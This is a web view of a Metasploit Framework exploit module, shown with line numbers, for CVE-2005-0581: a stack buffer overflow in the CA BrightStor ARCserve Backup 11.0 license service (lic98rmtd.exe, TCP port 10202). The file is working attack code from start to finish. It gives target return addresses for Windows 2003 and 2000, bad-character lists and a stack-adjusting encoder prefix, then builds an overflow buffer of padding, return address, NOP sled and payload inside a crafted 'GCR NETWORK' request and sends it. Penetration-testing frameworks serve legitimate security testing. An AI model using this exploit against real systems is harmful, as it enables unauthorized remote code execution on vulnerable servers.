Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/license_gcr.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
18
By sending a specially crafted request to the lic98rmtd.exe service, an attacker
19
could overflow the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2005-0581' ],
25
[ 'OSVDB', '14389' ],
26
[ 'BID', '12705' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
41
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
42
],
43
'DisclosureDate' => '2005-03-02',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options([ Opt::RPORT(10202) ])
54
end
55
56
def exploit
57
connect
58
59
buff = rand_text_alpha_upper(256) + [target.ret].pack('V')
60
buff << make_nops(12) + payload.encoded
61
62
# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
63
sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
64
65
print_status("Trying target #{target.name}...")
66
67
sock.put(sploit)
68
69
handler
70
disconnect
71
end
72
end
73
74